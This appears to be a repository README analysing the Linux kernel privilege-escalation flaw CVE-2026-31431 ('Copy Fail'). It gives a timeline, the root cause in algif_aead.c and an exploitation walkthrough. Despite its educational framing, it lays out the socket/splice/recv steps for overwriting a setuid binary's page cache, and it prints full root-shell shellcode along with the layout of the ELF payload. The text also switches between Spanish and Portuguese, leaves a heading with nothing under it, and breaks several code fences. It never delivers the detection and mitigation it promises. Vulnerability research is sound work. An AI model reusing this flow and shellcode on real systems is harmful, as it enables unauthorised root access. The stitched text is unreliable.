# Análisis educativo de CVE-2026-31431 Análisis educativo de CVE-2026-31431, una escalada de privilegios local en el kernel de Linux mediante la operación in-place de AF_ALG AEAD, incluyendo la causa raíz técnica, detección y mitigación.
Análisis técnico educativo de una de las vulnerabilidades más significativas del kernel Linux desde Dirty Pipe (2022).
Este repositorio está orientado a investigación, estudio y defensa. Aquí no se distribuye ningún exploit funcional.
CVE-2026-31431, apodada Copy Fail, es una vulnerabilidad de escalada local de privilegios (LPE — Local Privilege Escalation) en el kernel Linux. Permite que cualquier usuario sin privilegios obtenga acceso root en cuestión de segundos.
| Atributo | Valor |
|---|---|
| CVE | CVE-2026-31431 |
| CVSS Score | 7.8 HIGH |
| Tipo | Local Privilege Escalation (LPE) |
| Subsistema | crypto/algif_aead.c — AF_ALG |
| Introducida en | Kernel 4.14 (commit 72548b093ee3, julio 2017) |
| Corregida en | 6.18.22 / 6.19.12 / 7.0 (commit a664bf3d603d) |
| Descubierta por | Taeyang Lee — Theori / Xint Code |
| Divulgación pública | 29 de abril de 2026 |
| PoC público | Sí — script Python de ~732 bytes |
Imagina que el sistema operativo tiene una memoria de trabajo (llamada page cache) donde guarda copias de los archivos que se están usando. Cuando ejecutas un programa, el sistema carga ese programa en esa memoria y lo ejecuta desde allí — no directamente desde el disco.
Copy Fail permite que un usuario común altere esa copia en memoria de un programa especial (un binario setuid, como el comando su) sin tocar el archivo original en el disco. El archivo en el disco permanece intacto, pero cuando se ejecuta el programa, el sistema lee la versión corrupta de la memoria.
Es como cambiar la receta de un plato en la memoria de un chef mientras está cocinando — el libro de recetas original no cambia, pero el plato que sale es completamente diferente.
El resultado: el programa corrupto ejecuta código del atacante con permisos de root.
Lo que lo hace especialmente peligroso:
2015 → AF_ALG ganha suporte a AEAD (algif_aead.c) authencesn introduz escrita em assoclen+cryptlen (mas ainda out-of-place)
2017 → Commit 72548b093ee3: otimização converte operação para in-place req->src = req->dst → páginas do page cache entram na scatterlist de escrita BUG INTRODUZIDO — passa despercebido por ~9 anos
2026 Mar 23 → Taeyang Lee (Theori) reporta ao time de segurança do kernel Linux Descoberta assistida por IA (Xint Code — ~1h de scan)
2026 Abr 1 → Patch mainline commitado (a664bf3d603d) — reverte a otimização de 2017
2026 Abr 22 → CVE-2026-31431 atribuída
2026 Abr 29 → Divulgação pública + PoC Python liberado Arch Linux, Fedora, Amazon Linux já com patches Ubuntu, RHEL, SUSE publicam guidance de mitigação
2026 Mai 1 → Kernels corrigidos chegam a AlmaLinux, CloudLinux, Rocky Linux Adicionado ao CISA KEV (Known Exploited Vulnerabilities) Exploits em Go e Rust aparecem em repositórios públicos
---
## Cómo funciona técnicamente
### Descripción general del flujo```
Atacante (usuário sem privilégios)
│
├─ 1. socket(AF_ALG, SOCK_SEQPACKET)
│ Cria socket de criptografia no kernel
│ bind: "authencesn(hmac(sha256),cbc(aes))"
│
├─ 2. setsockopt: define chave AEAD + authsize=4
│
├─ 3. accept() → op_socket
│
├─ 4. sendmsg([AAD + ciphertext], cmsg=[DECRYPT, IV, assoclen])
│ AAD bytes [4:8] = os 4 bytes que queremos ESCREVER no page cache
│
├─ 5. pipe() + splice(arquivo_alvo → pipe → op_socket)
│ CRÍTICO: injeta páginas do page cache na scatterlist do AF_ALG
│ As páginas do arquivo agora estão no destino GRAVÁVEL da operação
│
├─ 6. recv() → dispara o authencesn
│ authencesn::scatterwalk_map_and_copy(seqno_lo, dst, assoclen+cryptlen, 4, WRITE)
│ Escreve 4 bytes em dst[assoclen + cryptlen]
│ = escreve DIRETAMENTE no page cache do arquivo-alvo ✓
│ HMAC falha → retorna EBADMSG → IGNORADO
│
└─ 7. Repete (4 bytes por iteração) até cobrir todo o ELF replacement
Executa o binário alvo → root shell
O bug vive em crypto/algif_aead.c. Em 2017, a operação AEAD foi convertida para in-place para ganhar performance:```c
// Antes (seguro): req->src e req->dst são scatterlists separadas
// Depois (bugado, commit 72548b093ee3):
req->src = req->dst; // mesma scatterlist para entrada e saída
// Para a tag de autenticação, em vez de copiar, o código encadeia por referência: sg_chain(areq_ctx->rsgl[0].sg, n, areq_ctx->tsgl); // ↑ As páginas do page cache (vindas do splice) agora estão na scatterlist de SAÍDA
El algoritmo `authencesn` usa el buffer de destino como *scratch space* para reorganizar bytes del Extended Sequence Number (ESN) del IPsec:```c
// Em authencesn_decrypt():
scatterwalk_map_and_copy(tmp + 1, dst, assoclen + cryptlen, 4, 1);
// ^^^^^^^^^^^^^^^^^^^^^^^^^
// offset que ultrapassa o output buffer
// e cai nas páginas do page cache encadeadas
A escrita contorna completamente o VFS. A página modificada nunca é marcada como dirty pelo mecanismo de writeback do kernel. O arquivo em disco permanece intacto. Ferramentas de integridade baseadas em hash (aide, tripwire, inotifywait) não detectam nada porque monitoram o disco, não o page cache.
O exploit embute um mini-ELF de 160 bytes comprimido com zlib. Após descompressão, a parte executável é:```nasm ; Offset 0x78 no arquivo ELF (entry point)
xor eax, eax ; limpa registradores xor edi, edi ; uid = 0 mov al, 0x69 ; syscall 105 = setuid syscall ; setuid(0) → effective UID = root
lea rdi, [rel bin_sh] ; rdi → "/bin/sh\0" xor esi, esi ; argv = NULL push 0x3b ; syscall 59 = execve pop rax cdq ; rdx = 0 (envp = NULL) syscall ; execve("/bin/sh", NULL, NULL)
; Fallback xor edi, edi push 0x3c ; syscall 60 = exit pop rax syscall ; exit(0)
bin_sh: db "/bin/sh", 0
**Estructura del ELF mínimo (160 bytes en total):**```
Offset 0x00–0x3F → ELF64 Header (64 bytes)
e_type=ET_EXEC, e_machine=EM_X86_64
e_entry=0x400078, e_phnum=1
Offset 0x40–0x77 → Program Header PT_LOAD (56 bytes)
p_flags=PF_R|PF_X, p_vaddr=0x400000
p_filesz=0x9e
Offset 0x78–0x9D → Shellcode (26 bytes código + "/bin/sh\0")